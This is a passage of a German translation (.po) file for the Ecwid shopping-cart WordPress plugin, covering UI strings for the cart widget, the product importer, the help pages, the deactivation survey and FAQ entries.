anzeigen" #: includes/class-ecwid-floating-minicart.php:112 msgid "Show on store pages" msgstr "Auf Shop-Seiten anzeigen" #: includes/class-ecwid-floating-minicart.php:111 msgid "Do not show" msgstr "Nicht anzeigen" #: includes/class-ecwid-customizer.php:134 msgid "Vertical indent" msgstr "Vertikaler Einzug" #: includes/class-ecwid-customizer.php:123 msgid "Horizontal indent" msgstr "Horizontaler Einzug" #: includes/class-ecwid-customizer.php:97 msgid "Icon" msgstr "Symbol" #: includes/class-ecwid-customizer.php:85 #: includes/gutenberg/class-ecwid-gutenberg-block-minicart.php:79 msgid "Border" msgstr "Rand" #: includes/class-ecwid-customizer.php:72 #: includes/gutenberg/class-ecwid-gutenberg-block-minicart.php:67 msgid "Layout" msgstr "Layout" #: includes/class-ecwid-customizer.php:61 msgid "Show when empty" msgstr "Anzeigen, wenn leer" #: includes/class-ecwid-customizer.php:49 msgid "Note: when enabled, the cart widget is always displayed in preview to make it easier to customize it. The \"Show on store pages\" and \"Show when empty\" options will apply to the cart widget on site when published" msgstr "Hinweis: Wenn diese Option aktiviert ist, wird das Warenkorb-Widget immer in der Vorschau angezeigt, um die Anpassung zu erleichtern. Die Optionen „Auf Shop-Seiten anzeigen“ und „Anzeigen, wenn leer“ wirken sich auf das Warenkorb-Widget auf der veröffentlichten Website aus" #: includes/class-ecwid-customizer.php:47 msgid "Display shopping cart" msgstr "Warenkorb anzeigen" #: includes/class-ecwid-customizer.php:35 msgid "Shopping Cart Widget" msgstr "Warenkorb-Widget" #. Author URI of the plugin msgid "https://ecwid.to/ecwid-site" msgstr "https://ecwid.to/ecwid-site" #: templates/product-popup.php:247 msgid "selected product" msgstr "ausgewähltes Produkt" #: templates/product-popup.php:138 templates/product-popup.php:143 msgid "Selected Product" msgstr "Ausgewähltes Produkt" #: templates/product-popup.php:124 msgid " Choose another product" msgstr " Wählen Sie ein anderes Produkt aus" #: templates/importer/landing.tpl.php:20 msgid "Import your WooCommerce catalog to %s" msgstr "Importieren Sie Ihren WooCommerce-Katalog nach %s" #: includes/widgets/nsf-minicart-editor.tpl.php:35 msgid "Border:" msgstr "Rand:" #: includes/widgets/nsf-minicart-editor.tpl.php:19 msgid "Cart icon:" msgstr "Warenkorb-Symbol:" #: includes/widgets/nsf-minicart-editor.tpl.php:3 msgid "Layout:" msgstr "Layout:" #: includes/class-ecwid-floating-minicart.php:145 msgid "No border" msgstr "Kein Rand" #: includes/class-ecwid-floating-minicart.php:144 msgid "Pill" msgstr "Abgerundetes Rechteck" #: includes/class-ecwid-floating-minicart.php:143 msgid "Rectangle" msgstr "Rechteck" #: includes/class-ecwid-floating-minicart.php:136 msgid "Basket" msgstr "Korb" #: includes/class-ecwid-floating-minicart.php:134 msgid "Bag" msgstr "Tasche" #: includes/class-ecwid-floating-minicart.php:127 msgid "Icon, label, item count, subtotal and link" msgstr "Symbol, Beschriftung, Artikelanzahl, Zwischensumme und Link" #: includes/class-ecwid-floating-minicart.php:126 msgid "Icon, label, item count and subtotal" msgstr "Symbol, Beschriftung, Artikelanzahl und Zwischensumme" #: includes/class-ecwid-floating-minicart.php:125 msgid "Icon, label and item count" msgstr "Symbol, Beschriftung und Artikelanzahl" #: includes/class-ecwid-floating-minicart.php:124 msgid "Icon and item count" msgstr "Symbol und Artikelanzahl" #: includes/class-ecwid-floating-minicart.php:123 msgid "Label and item count" msgstr "Beschriftung und Artikelanzahl" #: includes/class-ecwid-floating-minicart.php:122 msgid "Item count only" msgstr "Nur Artikelanzahl" #: includes/class-ecwid-floating-minicart.php:121 msgid "Small icon and item count" msgstr "Kleines Symbol und Artikelanzahl" #: includes/class-ecwid-floating-minicart.php:120 msgid "Small icon" msgstr "Kleines Symbol" #: includes/widgets/class-ecwid-widget-minicart.php:9 msgid "Shopping Cart (deprecated)" msgstr "Warenkorb (veraltet)" #: includes/widgets/class-ecwid-widget-minicart-miniview.php:9 msgid "Shopping Cart Mini (deprecated)" msgstr "Mini-Warenkorb (veraltet)" #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:21 msgid "Shopping Cart Floating (deprecated)" msgstr "Schwebender Warenkorb (veraltet)" #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:69 msgid "Displays storefront: product listing and checkout" msgstr "Zeigt Schaufenster an: Produktliste und Kasse" #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:67 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:70 msgctxt "vc-tab" msgid "Online store" msgstr "Onlineshop" #: includes/integrations/class-ecwid-integration-gutenberg.php:105 #: includes/gutenberg/class-ecwid-gutenberg.php:131 msgid "Your product" msgstr "Ihr Produkt" #: templates/shortcode-stub-store.tpl.php:18 #: includes/integrations/class-ecwid-integration-gutenberg.php:103 #: includes/widgets/class-ecwid-widget-product-browser.php:11 #: includes/gutenberg/class-ecwid-gutenberg.php:129 msgid "Your store will be shown here" msgstr "Ihr Shop wird hier angezeigt" #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:31 #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:101 #: includes/integrations/class-ecwid-integration-gutenberg.php:101 #: includes/gutenberg/class-ecwid-gutenberg.php:127 #: js/gutenberg/blocks.build.js:1 msgid "Choose product" msgstr "Produkt auswählen" #: includes/integrations/class-ecwid-integration-gutenberg.php:97 #: includes/gutenberg/class-ecwid-gutenberg.php:123 msgid "%s product" msgstr "%s Produkt" #: templates/wp-toolbox.tpl.php:4 msgid "Take advantage of powerful apps and extensions designed to enhance your store." msgstr "Profitieren Sie von leistungsfähigen Apps und Erweiterungen, die Ihren Shop aufwerten." #: templates/wp-toolbox.tpl.php:3 msgid "Extensions for your Store" msgstr "Erweiterungen für Ihren Shop" #: templates/importer/woo-summary.tpl.php:6 msgid "Import summary" msgstr "Zusammenfassung des Importvorgangs" #: templates/importer/woo-main.tpl.php:19 msgid "This import will copy your WooCommerce products and categories to your %s store." msgstr "Dieser Importvorgang kopiert Ihre WooCommerce-Produkte und -Kategorien in Ihren %s-Shop." #: templates/importer/woo-main.tpl.php:62 msgid "Importing %s of %s items" msgstr "%s von %s Artikeln werden importiert" #: templates/importer/woo-complete-alert.tpl.php:27 msgid "Some of the items could not be imported." msgstr "Einige der Artikel konnten nicht importiert werden." #: templates/importer/landing.tpl.php:33 msgid "Learn more" msgstr "Mehr erfahren" #: templates/importer/landing.tpl.php:33 msgid "https://support.ecwid.com/hc/en-us/articles/208079105-Importing-products" msgstr "https://support.ecwid.com/hc/en-us/articles/208079105-Importing-products" #: templates/importer/landing.tpl.php:31 msgid "Ecwid allows you to upload your products in a form of CSV file. Learn more about this tool in the Ecwid Help Center" msgstr "Ecwid ermöglicht es Ihnen, Ihre Produkte in Form einer CSV-Datei hochzuladen. Erfahren Sie im Ecwid-Hilfecenter mehr über dieses Tool" #: templates/importer/landing.tpl.php:29 msgid "Import product catalog from other sources" msgstr "Produktkatalog aus anderen Quellen importieren" #: templates/importer/landing.tpl.php:23 msgid "(You will be able to confirm the changes before the actual import)" msgstr "(Sie können die Änderungen vor dem eigentlichen Import bestätigen)" #: templates/importer/landing.tpl.php:12 msgid "We found you have a WooCommerce installed. Your WooCommerce store has %1$s products and %2$s categories. Would you like to import it to %3$s?" msgstr "Wir haben festgestellt, dass Sie WooCommerce installiert haben. Ihr WooCommerce-Shop verfügt über %1$s Produkte und %2$s Kategorien. Möchten Sie diese nach %3$s importieren?" #: templates/importer/landing.tpl.php:9 msgid "Import product catalog from WooCommerce" msgstr "Produktkatalog von WooCommerce importieren" #: templates/importer/landing.tpl.php:4 msgid "Here, we will help you uploading your product catalog to %s from another shopping cart or other sources." msgstr "Hier helfen wir Ihnen dabei, Ihren Produktkatalog von einem anderen Warenkorb oder aus anderen Quellen in %s hochzuladen." #: templates/importer/landing.tpl.php:1 msgid "Import products to your %s store" msgstr "Importieren Sie Produkte in Ihren %s-Shop" #: templates/dashboard-blog-posts.tpl.php:20 msgid "Knowledge Base" msgstr "Wissensdatenbank" #: templates/dashboard-blog-posts.tpl.php:19 msgid "https://support.ecwid.com/hc/en-us" msgstr "https://support.ecwid.com/hc/en-us" #: templates/dashboard-blog-posts.tpl.php:14 msgid "https://www.ecwid.com/blog" msgstr "https://www.ecwid.com/blog" #: includes/importer/class-ecwid-import.php:39 msgid "Bulk import products and categories to your %s store" msgstr "Importieren Sie Produkte und Kategorien massenweise in Ihren %s-Shop" #: includes/importer/class-ecwid-import.php:38 msgid "%s products and categories" msgstr "%s Produkte und Kategorien" #: templates/importer/woo-main.tpl.php:36 #: includes/importer/class-ecwid-import-page.php:52 #: includes/importer/class-ecwid-import-page.php:53 msgid "Import your products from WooCommerce to %s" msgstr "Importieren Sie Ihre Produkte von WooCommerce nach %s" #: includes/importer/class-ecwid-import-page.php:42 #: includes/importer/class-ecwid-import-page.php:43 msgid "Import" msgstr "Importieren" #: templates/dashboard-blog-posts.tpl.php:15 #: includes/class-ecwid-wp-dashboard-feed.php:48 msgid "%s Blog" msgstr "%s-Blog" #: includes/class-ecwid-message-manager.php:345 msgid "No Thanks" msgstr "Nein danke" #: includes/class-ecwid-message-manager.php:343 msgid "Import my products from WooCommerce" msgstr "Meine Produkte von WooCommerce importieren" #: includes/class-ecwid-message-manager.php:341 msgid "We noticed you have WooCommerce installed. If you want to easily copy your WooCommerce products to %s, this tool will help you." msgstr "Wir haben bemerkt, dass Sie WooCommerce installiert haben. Dieses Tool hilft Ihnen dabei, Ihre WooCommerce-Produkte ganz einfach nach %s zu kopieren, wenn Sie dies möchten." #: includes/class-ecwid-message-manager.php:340 msgid "Need help importing your products from WooCommerce to %s?" msgstr "Benötigen Sie Hilfe beim Import Ihrer Produkte von WooCommerce nach %s?" #: includes/class-ecwid-admin.php:213 includes/class-ecwid-admin.php:214 msgid "Customers" msgstr "Kunden" #: templates/help.php:28 msgid "or <a %s>Browse the Help Center" msgstr "oder <a %s>durchsuchen Sie das Hilfecenter" #: templates/admin/welcome-connection-message.php:5 msgid "To display your store on this site, you need to allow WordPress to access your %1$s products. Please press connect to provide permission." msgstr "Um Ihren Shop auf dieser Website anzeigen zu können, müssen Sie WordPress den Zugriff auf Ihre %1$s-Produkte gestatten. Bitte drücken Sie auf „Verbinden“, um die Berechtigung zu erteilen." #: includes/faq_entries.php:40 msgid "Our 4 account types vary by number of products, types of functionality, and level of support. For more information, check out our <a target=\"_blank\" href=\"%s\">pricing page.</a><br /><br />Pro Tip: You can also save money by enrolling in our annual plans." msgstr "Unsere 4 Kontotypen unterscheiden sich durch die Anzahl der Produkte, die Art der Funktionalität und den Supportlevel. Weitere Informationen finden Sie auf unserer Seite <a target=\"_blank\" href=\"%s\">„Preise“.</a><br /><br />Pro-Tipp: Sie können Geld sparen, indem Sie einen Jahrestarif abschließen." #: includes/class-ecwid-popup-deactivate.php:59 msgid "[%s] WordPress plugin deactivation feedback (store ID: %s)" msgstr "[%s] Feedback zur Deaktivierung des WordPress-Plug-ins (Shop-ID: %s)" #: includes/class-ecwid-message-manager.php:289 msgid "Your storefront (product listing and checkout) is working fine, but the advanced store functions like SEO and sidebar widgets are disabled. To enable them and make sure your store works properly, please press the button below to connect your %s account. This will take less than a minute — you will only be asked to log in to your account and allow this site to get your store data." msgstr "Ihr Schaufenster (Produktliste und Kasse) funktioniert einwandfrei, doch die erweiterten Shop-Funktionen wie SEO und Widgets in der Seitenleiste sind deaktiviert. Verbinden Sie bitte Ihr %s-Konto durch Drücken der Schaltfläche unten, um diese Features zu aktivieren und sicherzustellen, dass Ihr Shop ordnungsgemäß funktioniert. Dieser Vorgang dauert nicht einmal eine Minute – Sie werden lediglich gebeten, sich bei Ihrem Konto anzumelden und dieser Website zu erlauben, Ihre Shop-Daten abzurufen." #: includes/class-ecwid-message-manager.php:288 msgid "Action required: please connect your %s account" msgstr "Aktion erforderlich: Bitte verbinden Sie Ihr %s-Konto" #: templates/popup/deactivate.php:24 msgid "Contact Support" msgstr "Support kontaktieren" #: templates/popup/deactivate.php:1 msgid "If you have a moment, please let us know why you are deactivating:" msgstr "Teilen Sie uns bitte mit, warum Sie die Deaktivierung durchführen, falls Sie einen Moment Zeit haben:" #: templates/admin/welcome-create.php:4 msgid "Create Store" msgstr "Shop erstellen" #: templates/advanced-settings.php:1 msgid "%s — Advanced settings" msgstr "%s – Fortgeschrittene Einstellungen" #: includes/widgets/class-ecwid-widget-random-products.php:10 msgid "Displays a list of random products." msgstr "Zeigt eine Liste von zufälligen Produkten an." #: includes/widgets/class-ecwid-widget-random-products.php:9 msgid "Random Products" msgstr "Zufällige Produkte" #: includes/widgets/class-ecwid-widget-random-product.php:9 #: includes/widgets/class-ecwid-widget-random-product.php:64 msgid "Random Product" msgstr "Zufälliges Produkt" #: includes/widgets/class-ecwid-widget-random-product.php:8 msgid "Displays a random product from your store to attract customer attention." msgstr "Zeigt ein zufälliges Produkt aus Ihrem Shop an, um die Aufmerksamkeit der Kunden zu erregen." #: includes/widgets/class-ecwid-widget-latest-products.php:10 msgid "Displays the latest added products from your store. Show new products to returning customers to drive repeat sales." msgstr "Zeigt die zuletzt hinzugefügten Produkte aus Ihrem Shop an. Zeigen Sie wiederkehrenden Kunden neue Produkte, um Wiederholungskäufe zu fördern." #: includes/widgets/class-ecwid-widget-latest-products.php:9 msgid "Latest Products" msgstr "Neueste Produkte" #: includes/class-ecwid-popup-deactivate.php:164 msgid "Can you share your feedback? What was wrong?" msgstr "Würden Sie uns bitte Ihr Feedback mitteilen? Was lief falsch?" #: includes/class-ecwid-popup-deactivate.php:161 msgid "Other" msgstr "Anderes" #: includes/class-ecwid-popup-deactivate.php:155 msgid "It's a temporary deactivation. Please do not ask me again." msgstr "Es handelt sich um eine vorübergehende Deaktivierung. Bitte fragen Sie mich nicht noch einmal." #: includes/class-ecwid-popup-deactivate.php:152 msgid "Can you share the name of the plugin you chose?" msgstr "Würden Sie uns bitte den Namen des von Ihnen gewählten Plug-ins mitteilen?" #: includes/class-ecwid-popup-deactivate.php:149 msgid "I found a better plugin" msgstr "Ich habe ein besseres Plug-in gefunden" #: includes/class-ecwid-popup-deactivate.php:146 msgid "What feature do you need?" msgstr "Welche Funktion benötigen Sie?" #: includes/class-ecwid-popup-deactivate.php:143 msgid "The plugin doesn't support the feature I want" msgstr "Das Plug-in unterstützt die von mir gewünschte Funktion nicht" #: includes/class-ecwid-popup-deactivate.php:128 msgid "What was wrong?" msgstr "Was lief falsch?" #: includes/class-ecwid-popup-deactivate.php:125 msgid "I have a problem using this plugin" msgstr "Ich habe ein Problem mit diesem Plug-in" #: includes/class-ecwid-popup-deactivate.php:112 msgid "Before You Go" msgstr "Bevor Sie gehen" #: templates/admin/storefront/area-navigation.php:79 #: includes/class-ecwid-popup-deactivate.php:105 msgid "Cancel" msgstr "Abbrechen" #: includes/class-ecwid-popup-deactivate.php:101 msgid "Submit & Deactivate" msgstr "Übermitteln und deaktivieren" #: includes/class-ecwid-message-manager.php:244 #: includes/class-ecwid-store-page.php:568 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:51 #: ecwid-shopping-cart.php:1082 js/gutenberg/blocks.build.js:1 msgid "Set up your store" msgstr "Richten Sie Ihren Shop ein" #: templates/admin-head.php:8 includes/class-ecwid-admin.php:48 #: includes/integrations/class-ecwid-integration-gutenberg.php:45 #: includes/gutenberg/class-ecwid-gutenberg.php:69 msgid "%s" msgstr "%s" #: templates/product-popup.php:199 js/gutenberg/blocks.build.js:1 msgid "«Buy now» button" msgstr "Schaltfläche „Jetzt kaufen“" #: templates/admin/simple-dashboard.php:10 msgid "%s Shopping Cart" msgstr "%s Warenkorb" #: templates/advanced-settings.php:42 msgid "Please subscribe to a paid plan to get this feature." msgstr "Bitte abonnieren Sie einen kostenpflichtigen Tarif, um diese Funktion nutzen zu können." #: templates/admin-footer.php:9 msgid "Get %s mobile app" msgstr "Holen Sie sich die %s-Mobile-App" #: includes/class-ecwid-message-manager.php:272 msgid "Rate %s at WordPress.org" msgstr "Bewerten Sie %s auf WordPress.org" #: includes/class-ecwid-message-manager.php:268 msgid "Do you like your %s online store? We'd appreciate it if you add your review and vote for the plugin on WordPress site." msgstr "Gefällt Ihnen Ihr %s-Onlineshop? Wir wären Ihnen sehr verbunden, wenn Sie Ihre Rezension auf der Website von WordPress hinterlassen und dort für das Plug-in abstimmen könnten." #: includes/class-ecwid-message-manager.php:260 msgid "To add extra functions to your store, drag and drop %s store elements on your site. When you're done, you can get back to modifying your settings." msgstr "Bewegen Sie %s-Shop-Elemente per Drag-and-drop auf Ihre Website, um Ihrem Shop zusätzliche Funktionen hinzuzufügen. Wenn Sie fertig sind, können Sie mit der Änderung Ihrer Einstellungen fortfahren." #: templates/sync.php:114 msgid "Provide access." msgstr "Zugriff gewähren." #: templates/sync.php:113 msgid "To enable this feature, the plugin needs a permission to read your store product information." msgstr "Um diese Funktion zu aktivieren, benötigt das Plug-in die Berechtigung zum Auslesen der Informationen der Produkte in Ihrem Shop." #: templates/product-popup.php:137 templates/product-popup.php:147 msgid "Choose Product" msgstr "Produkt auswählen" #: templates/product-popup.php:96 msgid "Try another search." msgstr "Probieren Sie es mit einer anderen Suche." #: templates/sync.php:152 msgid "Not synchronized yet" msgstr "Noch nicht synchronisiert" #: templates/sync.php:149 msgid "Last update" msgstr "Letzte Aktualisierung" #: templates/sync.php:145 msgid "Products are successfully synchronized. The product pages are up to date." msgstr "Produkte sind erfolgreich synchronisiert. Die Produktseiten sind auf dem neuesten Stand." #: templates/sync.php:138 msgid "Products synchronized: %1$s out of %2$s" msgstr "Synchronisierte Produkte: %1$s von %2$s" #: templates/sync.php:126 msgid "We're synchronizing your products. This may take a few minutes. Please do not reload the page." msgstr "Wir synchronisieren Ihre Produkte. Dies kann einige Minuten dauern. Bitte laden Sie die Seite nicht neu." #: templates/sync.php:119 msgid "Synchronize products" msgstr "Produkte synchronisieren" #: templates/advanced-settings.php:83 msgid "%s stores your products data in a secure cloud storage. The product pages are displayed on the fly when a customer browses your store. So, basically, the products are not stored on the site, that's why the site search doesn't find product pages while looking through site pages and posts. This option enables a local storage mode: the products will be stored both in the cloud and on your site. The site search results will list product pages as well as regular pages/posts of your site." msgstr "%s speichert Ihre Produktdaten in einem sicheren Cloud-Speicher. Die Produktseiten werden dynamisch bzw. „on the fly“ angezeigt, wenn ein Kunde in Ihrem Shop stöbert. Die Produkte werden also nicht auf der Website gespeichert, weshalb die Website-Suche beim Durchsuchen von Seiten und Posts keine Produktseiten findet. Diese Option aktiviert den lokalen Speichermodus: Die Produkte werden sowohl in der Cloud als auch auf Ihrer Website gespeichert. In den Suchergebnissen der Website werden dadurch sowohl Produktseiten als auch reguläre Seiten/Posts angeführt." #: templates/product-popup.php:243 msgid "Insert" msgstr "Einfügen" #: templates/product-popup.php:242 msgid "select product" msgstr "Produkt auswählen" #: templates/product-popup.php:241 templates/product-popup.php:246 msgid "customize appearance" msgstr "Erscheinungsbild anpassen" #: templates/product-popup.php:224 msgid "Show price inside the \"Buy now\" button" msgstr "Preis in der Schaltfläche „Jetzt kaufen“ anzeigen" #: templates/product-popup.php:229 #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:62 #: js/gutenberg/blocks.build.js:1 msgid "Center align on a page" msgstr "Zentrierte Ausrichtung auf einer Seite" #: templates/product-popup.php:219 js/gutenberg/blocks.build.js:1 msgid "Add border" msgstr "Rand hinzufügen" #: templates/product-popup.php:188 js/gutenberg/blocks.build.js:1 msgid "Quantity" msgstr "Anzahl" #: templates/product-popup.php:178 js/gutenberg/blocks.build.js:1 msgid "Options" msgstr "Optionen" #: templates/product-popup.php:173 js/gutenberg/blocks.build.js:1 msgid "Picture" msgstr "Bild" #: templates/product-popup.php:163 msgid "Choose product properties to display in widget" msgstr "Wählen Sie die Produkteigenschaften aus, die im Widget angezeigt werden sollen" #: templates/product-popup.php:139 templates/product-popup.php:151 msgid "Customize widget" msgstr "Widget anpassen" #: templates/product-popup.php:97 msgid "Browse all products." msgstr "Alle Produkte durchsuchen." #: templates/product-popup.php:94 msgid "Nothing found for <span class=\"empty-page__term\">\"{{ data.term }}\"</span>" msgstr "Nichts gefunden für <span class=\"empty-page__term\">„{{ data.term }}“</span>" #: templates/product-popup.php:80 msgid "Next page" msgstr "Nächste Seite" #: templates/product-popup.php:69 msgid "Current Page" msgstr "Aktuelle Seite" #: templates/product-popup.php:49 msgid "Title or SKU" msgstr "Titel oder Art.-Nr." #: templates/product-popup.php:47 templates/product-popup.php:53 #: templates/product-popup.php:56 msgid "Search" msgstr "Suchen" #: templates/product-popup.php:29 msgid "SKU" msgstr "Art.-Nr." #: templates/product-popup.php:23 msgid "Name" msgstr "Name" #: includes/class-ecwid-product-popup.php:150 msgid "Last Page" msgstr "Letzte Seite" #: includes/class-ecwid-product-popup.php:149 msgid "Next Page" msgstr "Nächste Seite" #: includes/class-ecwid-product-popup.php:148 msgid "Previous Page" msgstr "Vorherige Seite" #: includes/class-ecwid-product-popup.php:147 msgid "First Page" msgstr "Erste Seite" #: includes/class-ecwid-product-popup.php:107 msgid "Add Product" msgstr "Produkt hinzufügen" #: includes/class-ecwid-oauth.php:366 msgid "To be able to choose a product to insert to your posts and pages, you will need to re-connect your site to your %s store. This will only require you to accept permissions request – so that the plugin will be able to list your products in the \"Add product\" dialog." msgstr "Um ein Produkt auswählen zu können, das in Ihre Posts und Seiten eingefügt werden soll, müssen Sie Ihre Website erneut mit Ihrem %s-Shop verbinden. Dazu müssen Sie lediglich die Berechtigungsanfrage akzeptieren, damit das Plug-in Ihre Produkte im Dialog „Produkt hinzufügen“ auflisten kann." #: templates/advanced-settings.php:54 msgid "To make sure your customer can actually log in to your site and store, enable registration in the <a %s>site settings</a>" msgstr "Aktivieren Sie die Registrierung in den <a %s>Website-Einstellungen</a>, um sicherzustellen, dass Ihr Kunde sich auf Ihrer Website und im Shop anmelden kann" #: templates/advanced-settings.php:48 msgid "To allow %s automatically log in customers to your store, please provide it with a permission to use the customer data in the store. <a %s>Please use this link to do that</a>" msgstr "Erteilen Sie %s bitte die Berechtigung, die Kundendaten im Shop zu verwenden, um die automatische Anmeldung von Kunden bei Ihrem Shop zu ermöglichen. <a %s>Bitte verwenden Sie dazu diesen Link</a>" #: templates/advanced-settings.php:39 msgid "Upgrade to get this feature" msgstr "Führen Sie ein Upgrade durch, um diese Funktion nutzen zu können" #: templates/advanced-settings.php:32 msgid "Single Sign-On allows your customers to have a single login for your WordPress site and your %s. When someone logs in to your site, they will automatically be logged in to their customer account in your store as well with no need to enter their email/password again." msgstr "Single Sign-on ermöglicht es Ihren Kunden, ein einziges Log-in für Ihre WordPress-Website und %s zu verwenden. Wenn sich jemand bei Ihrer Website anmeldet, wird er automatisch auch in sein Kundenkonto bei Ihrem Shop eingeloggt, ohne dass er seine E-Mail-Adresse/sein Passwort erneut eingeben müsste." #: templates/advanced-settings.php:27 msgid "Customer Single Sign-On" msgstr "Single Sign-on für Kunden" #: includes/integrations/class-ecwid-integration-divibuilder.php:63 msgid "Enter optional CSS classes to be used for this module. A CSS class can be used to create custom CSS styling. You can add multiple classes, separated with a space." msgstr "Geben Sie optionale CSS-Klassen ein, die für dieses Modul verwendet werden sollen. Eine CSS-Klasse kann genutzt werden, um benutzerdefiniertes CSS-Styling zu erstellen. Sie können mehrere Klassen hinzufügen, indem Sie diese durch ein Leerzeichen trennen." #: includes/integrations/class-ecwid-integration-divibuilder.php:60 msgid "CSS Class" msgstr "CSS-Klasse" #: includes/integrations/class-ecwid-integration-divibuilder.php:57 msgid "Enter an optional CSS ID to be used for this module. An ID can be used to create custom CSS styling, or to create links to particular sections of your page." msgstr "Geben Sie eine optionale CSS-ID ein, die für dieses Modul verwendet werden soll. Eine ID kann genutzt werden, um benutzerdefiniertes CSS-Styling oder Links zu bestimmten Abschnitten Ihrer Seite zu erstellen." #: includes/integrations/class-ecwid-integration-divibuilder.php:54 msgid "CSS ID" msgstr "CSS-ID" #: includes/integrations/class-ecwid-integration-divibuilder.php:51 msgid "This will change the label of the module in the builder for easy identification." msgstr "Hierdurch wird die Bezeichnung des Moduls im Builder zur leichteren Identifizierung geändert." #: includes/integrations/class-ecwid-integration-divibuilder.php:49 msgid "Admin Label" msgstr "Admin-Bezeichnung" #: includes/integrations/class-ecwid-integration-divibuilder.php:44 msgid "Here you can create the content that will be used within the module." msgstr "Hier können Sie den Inhalt erstellen, der im Rahmen des Moduls verwendet werden soll." #: includes/integrations/class-ecwid-integration-divibuilder.php:41 msgid "Content" msgstr "Inhalt" #: templates/admin-footer.php:29 msgid "<a %s>Reconnect</a>" msgstr "<a %s>Erneut verbinden</a>" #: templates/help.php:15 msgid "https://support.ecwid.com/hc/en-us/search" msgstr "https://support.ecwid.com/hc/en-us/search" #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:73 msgid "Browse by Category" msgstr "Nach Kategorie durchsuchen" #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:15 msgid "Store Root Categories" msgstr "Shop-Stammkategorien" #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:14 msgid "Adds root categories list to the sidebar to let your customers navigate the store." msgstr "Fügt die Liste der Stammkategorien zur Seitenleiste hinzu, damit Ihre Kunden im Shop navigieren können." #: templates/admin/welcome-connection-message.php:25 msgid "To sell using %1$s, you must allow WordPress to access the %1$s plugin. The connect button will direct you to your %1$s account where you can provide permission." msgstr "Um mit %1$s verkaufen zu können, müssen Sie WordPress den Zugriff auf das %1$s-Plug-in gestatten. Die Schaltfläche „Verbinden“ führt Sie zu Ihrem %1$s-Konto, wo Sie die entsprechende Berechtigung erteilen können." #: templates/admin-timeout.php:11 msgid "Our team is already working on this issue. Please refresh the page in a few minutes. If the issue persists, please contact <a target=\"_blank\" href=\"https://help.ecwid.com/customer/portal/emails/new\">our customer support team</a>." msgstr "Unser Team arbeitet bereits an diesem Problem. Bitte aktualisieren Sie die Seite in ein paar Minuten. Bitte wenden Sie sich an <a target=\"_blank\" href=\"https://help.ecwid.com/customer/portal/emails/new\">unser Kundensupport-Team</a>, falls das Problem weiterhin bestehen sollte." #: templates/admin-timeout.php:9 msgid "Sorry we're having technical difficulties." msgstr "Bitte entschuldigen Sie unsere technischen Schwierigkeiten." #: includes/class-ecwid-floating-minicart.php:153 #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:143 msgid "Top right" msgstr "Oben rechts" #: includes/class-ecwid-floating-minicart.php:152 #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:138 msgid "Bottom right" msgstr "Unten rechts" #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:135 #: includes/class-ecwid-customizer.php:110 msgid "Position" msgstr "Position" #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:20 msgid "Adds a shopping cart widget to the top right corner of your site." msgstr "Fügt ein Warenkorb-Widget in der oberen rechten Ecke Ihrer Website ein." #: templates/help.php:215 msgid "You can send a new request here." msgstr "Hier können Sie eine neue Anfrage senden." #: templates/help.php:214 msgid " Thank you very much for contacting us! We will get back to you shortly." msgstr " Vielen Dank für Ihre Kontaktaufnahme! Wir melden uns in Kürze bei Ihnen." #: templates/help.php:213 msgid "Your email has been sent" msgstr "Ihre E-Mail wurde verschickt" #: templates/help.php:207 msgid "Send message failed" msgstr "Senden der Nachricht fehlgeschlagen" #: templates/help.php:196 msgid "Send Message" msgstr "Nachricht verschicken" #: templates/help.php:193 msgid "Type in your message here" msgstr "Geben Sie hier Ihre Nachricht ein" #: templates/help.php:192 msgid "Subject" msgstr "Betreff" #: templates/help.php:186 msgid "Send a message to our support team" msgstr "Senden Sie eine Nachricht an unser Support-Team" #: templates/help.php:177 msgid "Still have questions about Ecwid? Let us know!" msgstr "Haben Sie noch Fragen zu Ecwid? Lassen Sie es uns wissen!" #: templates/help.php:176 msgid "Contact us" msgstr "Kontaktieren Sie uns" #: templates/help.php:33 msgid "Frequently Asked Questions" msgstr "Häufig gestellte Fragen" #: templates/help.php:21 msgid "Search the Knowledge Base" msgstr "Wissensdatenbank durchsuchen" #: templates/help.php:17 msgid "E.g. How to set up shipping" msgstr "Zum Beispiel: „Wie richte ich den Versand ein?“" #: templates/help.php:11 msgid "How can we help you?" msgstr "Wie können wir Ihnen weiterhelfen?" #: includes/faq_entries.php:68 msgid "You can display your store on the site main page. Adjust the \"Reading\" settings of your site as described in our <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#displaystoreonhomepage\">Help Center.</a>" msgstr "Sie können Ihren Shop auf der Hauptseite der Website anzeigen. Passen Sie die „Lesen“-Einstellungen Ihrer Website wie in unserem <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#displaystoreonhomepage\">Hilfecenter</a> beschrieben an." #: includes/faq_entries.php:67 msgid "Is it possible to display my store on the site home page?" msgstr "Ist es möglich, meinen Shop auf der Startseite der Website anzuzeigen?" #: includes/faq_entries.php:61 msgid "To feature a single product on a separate page or blog post of your site, use <b>[ecwid_product]</b> shortcode. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#buynow\">How to use it.</a>" msgstr "Verwenden Sie den Shortcode <b>[ecwid_product]</b>, um ein einzelnes Produkt auf einer separaten Seite oder in einem Blogpost auf Ihrer Website einzubinden. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#buynow\">Hier finden Sie die Anleitung.</a>" #: includes/faq_entries.php:60 msgid "How to add a single product with the add to bag button to the site pages?" msgstr "Wie kann ich ein einzelnes Produkt mit der Schaltfläche „Zum Warenkorb hinzufügen“ auf den Seiten der Website einbinden?" #: includes/faq_entries.php:55 msgid "To create sitemap for your Wordpress site we suggest using <a target=\"_blank\" 